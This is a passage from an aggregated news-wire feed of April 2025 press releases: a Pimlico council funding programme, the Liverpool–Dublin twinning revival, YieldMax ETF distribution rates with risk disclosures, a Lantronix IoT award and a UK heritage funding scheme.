    Healthcare emerged as a promising avenue for closer ties, with the rising popularity of Yoga and Ayurveda in Chile serving as a testament to the cultural exchange between the two countries. The leaders also underscored the importance of deepening cultural and educational connections through student exchange programs and other initiatives.

    ****

    Dharmendra Tewari/ Navin Sreejith

    (Release ID: 2117807) Visitor Counter : 53

    MIL OSI Asia Pacific News –

    April 3, 2025
  • MIL-OSI United Kingdom: Westminster Council invests £1.3m to improving Pimlico | Westminster City Council

    Source: City of Westminster

    Westminster City Council has approved more than £1.3 million for a new programme which will deliver improvements across Pimlico.

    The new funding will be used to support and strengthen our local communities, as well as allowing us to develop long-term improvement plans for the area.

    Headline announcements for the Pimlico Programme include:

    • £1million to extend our High Streets Programme for Pimlico – this aims to create safe, sustainable, welcoming places, a vibrant local economy and connected communities. This funding will be used to develop a long-term improvement plan for Lupus street and areas around the station. We will speak to residents, visitors and local businesses to develop the plan.
    • £200,000 for the Community Priorities Programme – this provides grant funding for community-led work to support the health and wellbeing of residents, such as counselling for carers, housing advice workshops, and stay and play activities for parents and children. 
    • £50,000 for Digital Dash – provides training opportunities for local talent, bridging the gap between education and work, helping young residents access opportunities with global tech leading businesses.
    • £35,000 for Helping Hands – the Young Westminster Foundation programme providing funding and support to those members of the community who are affected by youth violence.   
    • £24,000 for Green After School Clubs at Churchill Gardens – gives residents the chance to grow food and to learn about air quality and climate change. 
    • Pimlico businesses will also benefit from new support programmes, following the approval of additional funding for high streets across Westminster.

    Westminster City Council Cabinet Member Cabinet Member for Planning and Economic Development, Cllr Geoff Barraclough, said:

    “We’re investing in high streets and local areas to become more sustainable, resilient and enrich the local community, which is part of our Fairer Westminster commitments.

    “I’m really pleased the funding will be used to make Pimlico even more welcoming to residents, visitors and businesses and help community groups to continue to deliver their excellent and important services.”               

    Westminster City Council’s Pimlico Programme Lead Member, Cllr Jason Williams, said:

    “We’ve worked with local people and community groups in Pimlico to find out about any issues they have and how we can tackle them through our improvement plan. 

    “We want to see Pimlico progress and improve outcomes and opportunities for local people by developing welcoming spaces, enhancing the appearance of Lupus Street the high street and supporting local organisations.”

    Maggie Harper, Coordinator from Pimlico Toy Library, said:

    “I am thrilled to see the approval of this local government fund, a testament to the open and proactive partnership between our Community and Westminster City Council. Through transparent communication and a shared vision, we’ve worked together to develop a program that will make a meaningful impact in Pimlico.

    “I am excited to see the positive changes it will bring and look forward to continuing this strong collaboration.”

    The Council carried out engagement with residents by hosting the Pimlico Community Conversations, which asked the local community how the Council can support improving and rejuvenating their local area.

    From these conversations, the community’s highest priorities were:  

    1. Community Activities, Events and Spaces 
    1. Crime and Safety 
    1. Housing 
    1. Children and Young People 
    1. Green and Resilient 

    Suggestions were also raised about a number of locations that could be improved – especially Lupus Street and the areas around Pimlico Station. The community asked for improvement to also include support for local businesses.

    The £1.3 million fund is in addition to other ongoing investment across Pimlico which includes plans for a new Community Hub on Rampayne Street, the Warwick Way Highways Scheme, improvements to Pimlico Gardens and increased CCTV for the area.

    MIL OSI United Kingdom –

    April 3, 2025
  • MIL-OSI United Kingdom: Liverpool and Dublin reignite twin city agreement

    Source: City of Liverpool

    Liverpool and Dublin have begun the process of reinvigorating their twinning agreement.

    A sister city arrangement was signed back in 1997 as a mark of the long and shared history between the two.

    Now, the Lord Mayor of Dublin, Emma Blain, has visited Liverpool to meet with her counterpart Cllr Richard Kemp, Council Leader, Cllr Liam Robinson, and Mayor of the Liverpool City Region, Steve Rotheram.

    They have discussed mutually beneficial ways in which the two cities can work together in areas such as culture, tourism and the wider economy.

    Councillor Robinson said: “Here in Liverpool, 75% of us have some form of Irish heritage, so it was brilliant to welcome the Lord Mayor of Dublin, so we could talk about how we reinvigorate our partnership.

    “We have a great opportunity to work together post-Brexit, and focus on some of the economic links that we share as two cities and how we can strengthen that over the years ahead.”

    Lord Mayor Blain said: “It is my immense pride and pleasure to visit the city of Liverpool to reactivate the twinning agreement between Dublin and Liverpool.

    “Our two cities have long shared a much cherished connection and I hope that this visit will help strengthen those bonds.

    “Dublin and Liverpool have strong historic cultural, social and economic connections which extend across all aspects of Liverpool’s renowned reputation for music and arts, commerce and industry, sport and education.

    “I am looking forward to visiting the University of Liverpool Materials Innovation Factory and Institute of Irish Studies as part of my visit, and wish to thank them for hosting us.

    “Like many Dubliners, I have a family connection to the City of Liverpool, it is a place I have visited many times and am always struck by the warmth and welcoming of the people. I hope that my visit will be seen as a reciprocation of this warmth and welcoming from the people of Dublin.

    “My sincere thanks to The Lord Mayor of Liverpool, Richard Kemp CBE, and to the Leader of Liverpool City Council, Liam Robinson, for their gracious invitation and their eagerness to develop this connection even further.”

    MIL OSI United Kingdom –

    April 3, 2025
  • MIL-OSI: YieldMax™ ETFs Announces Distributions on FIAT (127.21%), CVNY (100.49%), ULTY (77.62%), CONY (73.33%), YMAX (68.44%) and Others

    Source: GlobeNewswire (MIL-OSI)

    CHICAGO and MILWAUKEE and NEW YORK, April 02, 2025 (GLOBE NEWSWIRE) — YieldMax™ today announced distributions for the YieldMax™ Weekly Payers and Group C ETFs listed in the table below.

    ETF
    Ticker
    1
    ETF Name Distribution
    Frequency
    Distribution
    per Share
    Distribution
    Rate
    2,4
    30-Day
    SEC Yield3
    ROC5 Ex-Date &
    Record Date
    Payment
    Date
    GPTY YieldMax™ AI & Tech Portfolio Option Income ETF Weekly $0.2668 34.84% 0.00% 100.00% 4/3/25 4/4/25
    LFGY YieldMax™ Crypto Industry & Tech Portfolio Option Income ETF Weekly $0.4189 60.57% 0.00% 100.00% 4/3/25 4/4/25
    QDTY YieldMax™ Nasdaq 100 0DTE Covered Call ETF Weekly $0.2638 31.00% 0.00% 37.26% 4/3/25 4/4/25
    RDTY YieldMax™ R2000 0DTE Covered Call ETF Weekly $0.3351 36.44% 0.00% 78.96% 4/3/25 4/4/25
    SDTY YieldMax™ S&P 500 0DTE Covered Call ETF Weekly $0.2723 31.10% 0.00% 65.95% 4/3/25 4/4/25
    ULTY YieldMax™ Ultra Option Income Strategy ETF Weekly $0.0916 77.62% 2.21% 97.00% 4/3/25 4/4/25
    YMAG YieldMax™ Magnificent 7 Fund of Option Income ETFs Weekly $0.0971 33.26% 69.89% 28.54% 4/3/25 4/4/25
    YMAX YieldMax™ Universe Fund of Option Income ETFs Weekly $0.1781 68.44% 96.57% 0.00% 4/3/25 4/4/25
    ABNY YieldMax™ ABNB Option Income Strategy ETF Every 4 Weeks $0.3665 37.87% 3.62% 0.00% 4/3/25 4/4/25
    AMDY YieldMax™ AMD Option Income Strategy ETF Every 4 Weeks $0.2765 45.13% 2.97% 93.13% 4/3/25 4/4/25
    CONY YieldMax™ COIN Option Income Strategy ETF Every 4 Weeks $0.4381 73.33% 4.42% 94.62% 4/3/25 4/4/25
    CVNY YieldMax™ CVNA Option Income Strategy ETF Every 4 Weeks $2.9684 100.49% 2.44% 99.08% 4/3/25 4/4/25
    FIAT YieldMax™ Short COIN Option Income Strategy ETF Every 4 Weeks $0.9240 127.21% 1.73% 98.90% 4/3/25 4/4/25
    MSFO YieldMax™ MSFT Option Income Strategy ETF Every 4 Weeks $0.3337 27.09% 3.75% 0.00% 4/3/25 4/4/25
    NFLY YieldMax™ NFLX Option Income Strategy ETF Every 4 Weeks $0.6020 46.77% 3.58% 59.10% 4/3/25 4/4/25
    PYPY YieldMax™ PYPL Option Income Strategy ETF Every 4 Weeks $0.3521 34.34% 4.19% 0.00% 4/3/25 4/4/25
    Weekly Payers & Group D ETFs scheduled for next week: GPTY LFGY QDTY RDTY SDTY ULTY YMAG YMAX AIYY AMZY APLY DISO MSTY SMCY XYZY YQQQ


    Performance data quoted represents past performance and is no guarantee of future results. Investment return and principal value of an investment will fluctuate so that an investor’s shares, when sold or redeemed, may be worth more or less than their original cost and current performance may be lower or higher than the performance quoted above. Performance current to the most recent month-end can be obtained by calling 
    (833) 378-0717.

    Note: DIPS, FIAT, CRSH, YQQQ and WNTR are hereinafter referred to as the “Short ETFs.”

    Distributions are not guaranteed. The Distribution Rate and 30-Day SEC Yield are not indicative of future distributions, if any, on the ETFs. In particular, future distributions on any ETF may differ significantly from its Distribution Rate or 30-Day SEC Yield. You are not guaranteed a distribution under the ETFs. Distributions for the ETFs (if any) are variable and may vary significantly from period to period and may be zero. Accordingly, the Distribution Rate and 30-Day SEC Yield will change over time, and such change may be significant.

    Investors in the Funds will not have rights to receive dividends or other distributions with respect to the underlying reference asset(s).

    1 All YieldMax™ ETFs shown in the table above (except YMAX, YMAG, FEAT, FIVY and ULTY) have a gross expense ratio of 0.99%. YMAX, YMAG and FEAT have a Management Fee of 0.29% and Acquired Fund Fees and Expenses of 0.99% for a gross expense ratio of 1.28%. FIVY has a Management Fee of 0.29% and Acquired Fund Fees and Expenses of 0.59% for a gross expense ratio of 0.88%. “Acquired Fund Fees and Expenses” are indirect fees and expenses that the Fund incurs from investing in the shares of other investment companies, namely other YieldMax™ ETFs. ULTY has a gross expense ratio after the fee waiver of 1.30%. The Advisor has agreed to a fee waiver of 0.10% through at least February 28, 2026.
    2 The Distribution Rate shown is as of close on April 1, 2025. The Distribution Rate is the annual distribution rate an investor would receive if the most recent distribution, which includes option income, remained the same going forward. The Distribution Rate is calculated by annualizing an ETF’s Distribution per Share and dividing such annualized amount by the ETF’s most recent NAV. The Distribution Rate represents a single distribution from the ETF and does not represent its total return. Distributions may also include a combination of ordinary dividends, capital gain, and return of investor capital, which may decrease an ETF’s NAV and trading price over time. As a result, an investor may suffer significant losses to their investment. These Distribution Rates may be caused by unusually favorable market conditions and may not be sustainable. Such conditions may not continue to exist and there should be no expectation that this performance may be repeated in the future.
    3 The 30-Day SEC Yield represents net investment income, which excludes option income, earned by such ETF over the 30-Day period ended March 31, 2025, expressed as an annual percentage rate based on such ETF’s share price at the end of the 30-Day period.
    4 Each ETF’s strategy (except those of the Short ETFs) will cap potential gains if its reference asset’s shares increase in value, yet subjects an investor to all potential losses if the reference asset’s shares decrease in value. Such potential losses may not be offset by income received by the ETF. Each Short ETF’s strategy will cap potential gains if its reference asset decreases in value, yet subjects an investor to all potential losses if the reference asset increases in value. Such potential losses may not be offset by income received by the ETF.
    5 ROC refers to Return of Capital. The ROC percentage is the portion of the distribution that represents an investor’s original investment.
       

    Each Fund has a limited operating history and while each Fund’s objective is to provide current income, there is no guarantee the Fund will make a distribution. Distributions are likely to vary greatly in amount.

    Standardized Performance

    For YMAX, click here. For YMAG, click here. For TSLY, click here. For OARK, click here. For APLY, click here. For NVDY, click here. For AMZY, click here. For FBY, click here. For GOOY, click here. For NFLY, click here. For CONY, click here. For MSFO, click here. For DISO, click here. For XOMO, click here. For JPMO, click here. For AMDY, click here. For PYPY, click here. For XYZY, click here. For MRNY, click here. For AIYY, click here. For MSTY, click here. For ULTY, click here. For YBIT, click here. For CRSH, click here. For GDXY, click here. For SNOY, click here. For ABNY, click here. For FIAT, click here. For DIPS, click here. For BABO, click here. For YQQQ, click here. For TSMY, click here. For SMCY, click here. For PLTY, click here. For BIGY, click here. For SOXY, click here. For MARO, click here. For FEAT, click here. For FIVY, click here. For LFGY, click here. For GPTY, click here. For CVNY, click here. For SDTY, click here. For QDTY, click here. For WNTR, click here.

    Important Information

    This material must be preceded or accompanied by the prospectus. For all prospectuses, click here.

    Tidal Financial Group is the adviser for all YieldMax™ ETFs.

    THE FUND, TRUST, AND ADVISER ARE NOT AFFILIATED WITH ANY UNDERLYING REFERENCE ASSET.

    Risk Disclosures (applicable to all YieldMax ETFs referenced above, except the Short ETFs)

    YMAX, YMAG, FEAT and FIVY generally invest in other YieldMax™ ETFs. As such, these two Funds are subject to the risks listed in this section, which apply to all the YieldMax™ ETFs they may hold from time to time.

    Investing involves risk. Principal loss is possible.

    Referenced Index Risk. The Fund invests in options contracts that are based on the value of the Index (or the Index ETFs). This subjects the Fund to certain of the same risks as if it owned shares of companies that comprised the Index or an ETF that tracks the Index, even though it does not.

    Indirect Investment Risk. The Index is not affiliated with the Trust, the Fund, the Adviser, or their respective affiliates and is not involved with this offering in any way. Investors in the Fund will not have the right to receive dividends or other distributions or any other rights with respect to the companies that comprise the Index but will be subject to declines in the performance of the Index.

    Russell 2000 Index Risks. The Index, which consists of small-cap U.S. companies, is particularly susceptible to economic changes, as these firms often have less financial resilience than larger companies. Market volatility can disproportionately affect these smaller businesses, leading to significant price swings. Additionally, these companies are often more exposed to specific industry risks and have less diverse revenue streams. They can also be more vulnerable to changes in domestic regulatory or policy environments.

    Call Writing Strategy Risk. The path dependency (i.e., the continued use) of the Fund’s call writing strategy will impact the extent that the Fund participates in the positive price returns of the underlying reference asset and, in turn, the Fund’s returns, both during the term of the sold call options and over longer periods.

    Counterparty Risk. The Fund is subject to counterparty risk by virtue of its investments in options contracts. Transactions in some types of derivatives, including options, are required to be centrally cleared (“cleared derivatives”). In a transaction involving cleared derivatives, the Fund’s counterparty is a clearing house rather than a bank or broker. Since the Fund is not a member of clearing houses and only members of a clearing house (“clearing members”) can participate directly in the clearing house, the Fund will hold cleared derivatives through accounts at clearing members.

    Derivatives Risk. Derivatives are financial instruments that derive value from the underlying reference asset or assets, such as stocks, bonds, or funds (including ETFs), interest rates or indexes. The Fund’s investments in derivatives may pose risks in addition to, and greater than, those associated with directly investing in securities or other ordinary investments, including risk related to the market, imperfect correlation with underlying investments or the Fund’s other portfolio holdings, higher price volatility, lack of availability, counterparty risk, liquidity, valuation and legal restrictions.

    Options Contracts. The use of options contracts involves investment strategies and risks different from those associated with ordinary portfolio securities transactions. The prices of options are volatile and are influenced by, among other things, actual and anticipated changes in the value of the underlying instrument, including the anticipated volatility, which are affected by fiscal and monetary policies and by national and international political, changes in the actual or implied volatility or the reference asset, the time remaining until the expiration of the option contract and economic events.

    Distribution Risk. As part of the Fund’s investment objective, the Fund seeks to provide current income. There is no assurance that the Fund will make a distribution in any given period. If the Fund does make distributions, the amounts of such distributions will likely vary greatly from one distribution to the next.

    High Portfolio Turnover Risk. The Fund may actively and frequently trade all or a significant portion of the Fund’s holdings. A high portfolio turnover rate increases transaction costs, which may increase the Fund’s expenses.

    Liquidity Risk. Some securities held by the Fund, including options contracts, may be difficult to sell or be illiquid, particularly during times of market turmoil.

    Non-Diversification Risk. Because the Fund is “non-diversified,” it may invest a greater percentage of its assets in the securities of a single issuer or a smaller number of issuers than if it was a diversified fund.

    New Fund Risk. The Fund is a recently organized management investment company with no operating history. As a result, prospective investors do not have a track record or history on which to base their investment decisions.

    Price Participation Risk. The Fund employs an investment strategy that includes the sale of call option contracts, which limits the degree to which the Fund will participate in increases in value experienced by the underlying reference asset over the Call Period.

    Single Issuer Risk. Issuer-specific attributes may cause an investment in the Fund to be more volatile than a traditional pooled investment which diversifies risk or the market generally. The value of the Fund, which focuses on an individual security (ARKK, TSLA, AAPL, NVDA, AMZN, META, GOOGL, NFLX, COIN, MSFT, DIS, XOM, JPM, AMD, PYPL, SQ, MRNA, AI, MSTR, Bitcoin ETP, GDX®, SNOW, ABNB, BABA, TSM, SMCI, PLTR, MARA, CVNA), may be more volatile than a traditional pooled investment or the market as a whole and may perform differently from the value of a traditional pooled investment or the market as a whole.

    Inflation Risk. Inflation risk is the risk that the value of assets or income from investments will be less in the future as inflation decreases the value of money. As inflation increases, the present value of the Fund’s assets and distributions, if any, may decline.

    Indirect Investment Risk. The Index is not affiliated with the Trust, the Fund, the Adviser, or their respective affiliates and is not involved with this offering in any way.

    Risk Disclosures (applicable only to GPTY)

    Artificial Intelligence Risk. Issuers engaged in artificial intelligence typically have high research and capital expenditures and, as a result, their profitability can vary widely, if they are profitable at all. The space in which they are engaged is highly competitive and issuers’ products and services may become obsolete very quickly. These companies are heavily dependent on intellectual property rights and may be adversely affected by loss or impairment of those rights. The issuers are also subject to legal, regulatory, and political changes that may have a large impact on their profitability. A failure in an issuer’s product or even questions about the safety of the product could be devastating to the issuer, especially if it is the marquee product of the issuer. It can be difficult to accurately capture what qualifies as an artificial intelligence company.

    Technology Sector Risk. The Fund will invest substantially in companies in the information technology sector, and therefore the performance of the Fund could be negatively impacted by events affecting this sector. Market or economic factors impacting technology companies and companies that rely heavily on technological advances could have a significant effect on the value of the Fund’s investments. The value of stocks of information technology companies and companies that rely heavily on technology is particularly vulnerable to rapid changes in technology product cycles, rapid product obsolescence, government regulation and competition, both domestically and internationally, including competition from foreign competitors with lower production costs. Stocks of information technology companies and companies that rely heavily on technology, especially those of smaller, less-seasoned companies, tend to be more volatile than the overall market. Information technology companies are heavily dependent on patent and intellectual property rights, the loss or impairment of which may adversely affect profitability.

    Risk Disclosure (applicable only to MARO)

    Digital Assets Risk: The Fund does not invest directly in Bitcoin or any other digital assets. The Fund does not invest directly in derivatives that track the performance of Bitcoin or any other digital assets. The Fund does not invest in or seek direct exposure to the current “spot” or cash price of Bitcoin. Investors seeking direct exposure to the price of Bitcoin should consider an investment other than the Fund. Digital assets like Bitcoin, designed as mediums of exchange, are still an emerging asset class. They operate independently of any central authority or government backing and are subject to regulatory changes and extreme price volatility.

    Risk Disclosures (applicable only to BABO and TSMY)

    Currency Risk: Indirect exposure to foreign currencies subjects the Fund to the risk that currencies will decline in value relative to the U.S. dollar. Currency rates in foreign countries may fluctuate significantly over short periods of time for a number of reasons, including changes in interest rates and the imposition of currency controls or other political developments in the U.S. or abroad.

    Depositary Receipts Risk: The securities underlying BABO and TSMY are American Depositary Receipts (“ADRs”). Investment in ADRs may be less liquid than the underlying shares in their primary trading market.

    Foreign Market and Trading Risk: The trading markets for many foreign securities are not as active as U.S. markets and may have less governmental regulation and oversight.

    Foreign Securities Risk: Investments in securities of non-U.S. issuers involve certain risks that may not be present with investments in securities of U.S. issuers, such as risk of loss due to foreign currency fluctuations or to political or economic instability, as well as varying regulatory requirements applicable to investments in non-U.S. issuers. There may be less information publicly available about a non-U.S. issuer than a U.S. issuer. Non-U.S. issuers may also be subject to different regulatory, accounting, auditing, financial reporting, and investor protection standards than U.S. issuers.

    Risk Disclosures (applicable only to GDXY)

    Risk of Investing in Foreign Securities. The Fund is exposed indirectly to the securities of foreign issuers selected by GDX®’s investment adviser, which subjects the Fund to the risks associated with such companies. Investments in the securities of foreign issuers involve risks beyond those associated with investments in U.S. securities.

    Risk of Investing in Gold and Silver Mining Companies. The Fund is exposed indirectly to gold and silver mining companies selected by GDX®’s investment adviser, which subjects the Fund to the risks associated with such companies.

    The Fund invests in options contracts based on the value of the VanEck Gold Miners ETF (GDX®), which subjects the Fund to some of the same risks as if it owned GDX®, as well as the risks associated with Canadian, Australian and Emerging Market Issuers, and Small-and Medium-Capitalization companies.

    Risk Disclosures (applicable only to YBIT)

    YBIT does not invest directly in Bitcoin or any other digital assets. YBIT does not invest directly in derivatives that track the performance of Bitcoin or any other digital assets. YBIT does not invest in or seek direct exposure to the current “spot” or cash price of Bitcoin. Investors seeking direct exposure to the price of Bitcoin should consider an investment other than YBIT.

    Bitcoin Investment Risk: The Fund’s indirect investment in Bitcoin, through holdings in one or more Underlying ETPs, exposes it to the unique risks of this emerging innovation. Bitcoin’s price is highly volatile, and its market is influenced by the changing Bitcoin network, fluctuating acceptance levels, and unpredictable usage trends.

    Digital Assets Risk: Digital assets like Bitcoin, designed as mediums of exchange, are still an emerging asset class. They operate independently of any central authority or government backing and are subject to regulatory changes and extreme price volatility. Potentially No 1940 Act Protections. As of the date of this Prospectus, there is only a single eligible Underlying ETP, and it is an investment company subject to the 1940 Act.

    Bitcoin ETP Risk: The Fund invests in options contracts that are based on the value of the Bitcoin ETP. This subjects the Fund to certain of the same risks as if it owned shares of the Bitcoin ETP, even though it does not. Bitcoin ETPs are subject, but not limited, to significant risk and heightened volatility. An investor in a Bitcoin ETP may lose their entire investment. Bitcoin ETPs are not suitable for all investors. In addition, not all Bitcoin ETPs are registered under the Investment Company Act of 1940. Those Bitcoin ETPs that are not registered under such statute are therefore not subject to the same regulations as exchange traded products that are so registered.

    Risk Disclosures (applicable only to the Short ETFs)

    Investing involves risk. Principal loss is possible.

    Price Appreciation Risk. As part of the Fund’s synthetic covered put strategy, the Fund purchases and sells call and put option contracts that are based on the value of the underlying reference asset. This strategy subjects the Fund to certain of the same risks as if it shorted the underlying reference asset, even though it does not. By virtue of the Fund’s indirect inverse exposure to changes in the value of the underlying reference asset, the Fund is subject to the risk that the value of the underlying reference asset increases. If the value of the underlying reference asset increases, the Fund will likely lose value and, as a result, the Fund may suffer significant losses.

    Put Writing Strategy Risk. The path dependency (i.e., the continued use) of the Fund’s put writing (selling) strategy will impact the extent that the Fund participates in decreases in the value of the underlying reference asset and, in turn, the Fund’s returns, both during the term of the sold put options and over longer periods.

    Purchased OTM Call Options Risk. The Fund’s strategy is subject to potential losses if the underlying reference asset increases in value, which may not be offset by the purchase of out-of-the-money (OTM) call options. The Fund purchases OTM calls to seek to manage (cap) the Fund’s potential losses from the Fund’s short exposure to the underlying reference asset if it appreciates significantly in value. However, the OTM call options will cap the Fund’s losses only to the extent that the value of the underlying reference asset increases to a level that is at or above the strike level of the purchased OTM call options. Any increase in the value of the underlying reference asset to a level that is below the strike level of the purchased OTM call options will result in a corresponding loss for the Fund. For example, if the OTM call options have a strike level that is approximately 100% above the then-current value of the underlying reference asset at the time of the call option purchase, and the value of the underlying reference asset increases by at least 100% during the term of the purchased OTM call options, the Fund will lose all its value. Since the Fund bears the costs of purchasing the OTM calls, such costs will decrease the Fund’s value and/or any income otherwise generated by the Fund’s investment strategy.

    Counterparty Risk. The Fund is subject to counterparty risk by virtue of its investments in options contracts. Transactions in some types of derivatives, including options, are required to be centrally cleared (“cleared derivatives”). In a transaction involving cleared derivatives, the Fund’s counterparty is a clearing house rather than a bank or broker. Since the Fund is not a member of clearing houses and only members of a clearing house (“clearing members”) can participate directly in the clearing house, the Fund will hold cleared derivatives through accounts at clearing members.

    Derivatives Risk. Derivatives are financial instruments that derive value from the underlying reference asset or assets, such as stocks, bonds, or funds (including ETFs), interest rates or indexes. The Fund’s investments in derivatives may pose risks in addition to, and greater than, those associated with directly investing in securities or other ordinary investments, including risk related to the market, imperfect correlation with underlying investments or the Fund’s other portfolio holdings, higher price volatility, lack of availability, counterparty risk, liquidity, valuation and legal restrictions.

    Options Contracts. The use of options contracts involves investment strategies and risks different from those associated with ordinary portfolio securities transactions. The prices of options are volatile and are influenced by, among other things, actual and anticipated changes in the value of the underlying reference asset, including the anticipated volatility, which are affected by fiscal and monetary policies and by national and international political, changes in the actual or implied volatility or the reference asset, the time remaining until the expiration of the option contract and economic events.

    Distribution Risk. As part of the Fund’s investment objective, the Fund seeks to provide current income. There is no assurance that the Fund will make a distribution in any given period. If the Fund does make distributions, the amounts of such distributions will likely vary greatly from one distribution to the next.

    High Portfolio Turnover Risk. The Fund may actively and frequently trade all or a significant portion of the Fund’s holdings.

    Liquidity Risk. Some securities held by the Fund, including options contracts, may be difficult to sell or be illiquid, particularly during times of market turmoil.

    Non-Diversification Risk. Because the Fund is “non-diversified,” it may invest a greater percentage of its assets in the securities of a single issuer or a smaller number of issuers than if it was a diversified fund.

    New Fund Risk. The Fund is a recently organized management investment company with no operating history. As a result, prospective investors do not have a track record or history on which to base their investment decisions.

    Price Participation Risk. The Fund employs an investment strategy that includes the sale of put option contracts, which limits the degree to which the Fund will participate in decreases in value experienced by the underlying reference asset over the Put Period.

    Single Issuer Risk. Issuer-specific attributes may cause an investment in the Fund to be more volatile than a traditional pooled investment which diversifies risk or the market generally. The value of the Fund, for any Fund that focuses on an individual security (e.g., TSLA, COIN, NVDA, MSTR), may be more volatile than a traditional pooled investment or the market as a whole and may perform differently from the value of a traditional pooled investment or the market as a whole.

    Inflation Risk. Inflation risk is the risk that the value of assets or income from investments will be less in the future as inflation decreases the value of money. As inflation increases, the present value of the Fund’s assets and distributions, if any, may decline.

    Risk Disclosures (applicable only to YQQQ)

    Index Overview. The Nasdaq 100 Index is a benchmark index that includes 100 of the largest non-financial companies listed on the Nasdaq Stock Market, based on market capitalization.

    Index Level Appreciation Risk. As part of the Fund’s synthetic covered put strategy, the Fund purchases and sells call and put option contracts that are based on the Index level. This strategy subjects the Fund to certain of the same risks as if it shorted the Index, even though it does not. By virtue of the Fund’s indirect inverse exposure to changes in the Index level, the Fund is subject to the risk that the Index level increases. If the Index level increases, the Fund will likely lose value and, as a result, the Fund may suffer significant losses. The Fund may also be subject to the following risks: innovation and technological advancement; strong market presence of Index constituent companies; adaptability to global market trends; and resilience and recovery potential.

    Index Level Participation Risk. The Fund employs an investment strategy that includes the sale of put option contracts, which limits the degree to which the Fund will benefit from decreases in the Index level experienced over the Put Period. This means that if the Index level experiences a decrease in value below the strike level of the sold put options during a Put Period, the Fund will likely not experience that increase to the same extent and any Fund gains may significantly differ from the level of the Index losses over the Put Period. Additionally, because the Fund is limited in the degree to which it will participate in decreases in value experienced by the Index level over each Put Period, but has significant negative exposure to any increases in value experienced by the Index level over the Put Period, the NAV of the Fund may decrease over any given period. The Fund’s NAV is dependent on the value of each options portfolio, which is based principally upon the inverse of the performance of the Index level. The Fund’s ability to benefit from the Index level decreases will depend on prevailing market conditions, especially market volatility, at the time the Fund enters into the sold put option contracts and will vary from Put Period to Put Period. The value of the options contracts is affected by changes in the value and dividend rates of component companies that comprise the Index, changes in interest rates, changes in the actual or perceived volatility of the Index and the remaining time to the options’ expiration, as well as trading conditions in the options market. As the Index level changes and time moves towards the expiration of each Put Period, the value of the options contracts, and therefore the Fund’s NAV, will change. However, it is not expected for the Fund’s NAV to directly inversely correlate on a day-to-day basis with the returns of the Index level. The amount of time remaining until the options contract’s expiration date affects the impact that the value of the options contracts has on the Fund’s NAV, which may not be in full effect until the expiration date of the Fund’s options contracts. Therefore, while changes in the Index level will result in changes to the Fund’s NAV, the Fund generally anticipates that the rate of change in the Fund’s NAV will be different than the inverse of the changes experienced by the Index level.

    YieldMax™ ETFs are distributed by Foreside Fund Services, LLC. Foreside is not affiliated with Tidal Financial Group, or YieldMax™ ETFs.

    © 2025 YieldMax™ ETFs

    The MIL Network –

    April 3, 2025
  • MIL-OSI: Lantronix Named to CRN 2025 Internet of Things 50 List

    Source: GlobeNewswire (MIL-OSI)

    IRVINE, Calif., April 02, 2025 (GLOBE NEWSWIRE) — Lantronix Inc. (NASDAQ: LTRX), a global leader of compute and connectivity for IoT solutions enabling Edge AI Intelligence, today announced it has been recognized on the 2025 Internet of Things (IoT) 50 list by CRN®, a brand of The Channel Company. CRN’s annual IoT 50 list spotlights vendors leading IoT innovation that are driving channel success. Honorees are selected by a panel of CRN editors with input from members of the channel partner community.

    “We are very honored to be on CRN’s IoT 50 List that spotlights companies that are notable for their dedication to cutting-edge solutions that empower the channel to create and deliver groundbreaking IoT solutions,” said Saleel Awsare, president & CEO of Lantronix Inc. “This award is especially valued by our team as we are devoted to helping our channel partners deliver powerful Edge intelligent solutions for our mutual customers.”

    Recognition on the list is based on the quality of the vendors’ IoT portfolios and consistency in delivering new opportunities for partners. Each company on the CRN IoT 50 has taken steps toward empowering its channel partners to deliver cutting-edge IoT solutions and drive growth. The CRN IoT 50 list includes five IoT categories: Hardware, Security, Software, Industrial and Networking and Connectivity. Lantronix was recognized in the Hardware category.  

    “IoT solutions deliver critical data for better decision-making and are powerful growth drivers for the channel,” said Jennifer Follett, VP, U.S. Content, and Executive Editor, CRN, The Channel Company. “We’re pleased to spotlight these vendors for their dedication to empowering partners with IoT innovation that helps them better serve their clients and advance the entire IT channel.” 

    The 2025 CRN IoT 50 list is featured in the April issue of CRN Magazine and online at www.CRN.com/IoT50. 

    About The Channel Company

    The Channel Company (TCC) is the global leader in channel growth for the world’s top technology brands. We accelerate success across strategic channels for tech vendors, solution providers, and end users with premier media brands, integrated marketing and event services, strategic consulting, and exclusive market and audience insights. TCC is a portfolio company of investment funds managed by EagleTree Capital, a New York City-based private equity firm. For more information, visit thechannelco.com.

    About Lantronix

    Lantronix Inc. is a global leader of compute and connectivity IoT solutions that target high-growth markets, including Smart Cities, Enterprise and Transportation. Lantronix’s products and services empower companies to succeed in the growing IoT markets by delivering customizable solutions that enable AI Edge Intelligence. Lantronix’s advanced solutions include Intelligent Substations infrastructure, Infotainment systems and Video Surveillance, supplemented with advanced Out-of-Band Management (OOB) for Cloud and Edge Computing.

    For more information, visit the Lantronix website.

    ©2025 Lantronix, Inc. All rights reserved. Lantronix is a registered trademark. Other trademarks and trade names are those of their respective owners.

    Lantronix Media Contact:        
    Gail Kathryn Miller
    Corporate Marketing &
    Communications Manager
    media@lantronix.com

    Lantronix Analyst and Investor Contact:        
    investors@lantronix.com

    The MIL Network –

    April 3, 2025
  • MIL-OSI United Kingdom: Local heritage to be protected with £20 million of funding

    Source: United Kingdom – Executive Government & Departments

    Press release

    Local heritage to be protected with £20 million of funding

    Support to boost people’s access to local heritage, delivering government’s Plan for Change to increase opportunities for all

    • Shops, pubs, parks, and town halls at risk of falling into disrepair will be protected with £15 million grant scheme now open for applications 
    • Comes alongside new £4.85 million Heritage Revival Fund also open for applications, helping communities to take ownership of local heritage sites and bring them back into good use

    Communities across England can now apply for a share of almost £20 million to help care for historic buildings and heritage sites in their local area, ensuring that everyone, everywhere feels proud of where they live. 

    The new £4.85 million Heritage Revival Fund is currently accepting applications for projects that will help to rescue and repurpose neglected historic buildings, like theatres, department stores and former banks. It will do this by supporting community organisations, charities and social enterprises to take ownership of these sites, transforming them into vibrant spaces that meet local needs. 

    The programme will be delivered by the Architectural Heritage Fund and will run from 1 April 2025 until 31 March 2026. It will be open to charities and social enterprises in England seeking to take ownership of and adapt historic buildings for community uses. 

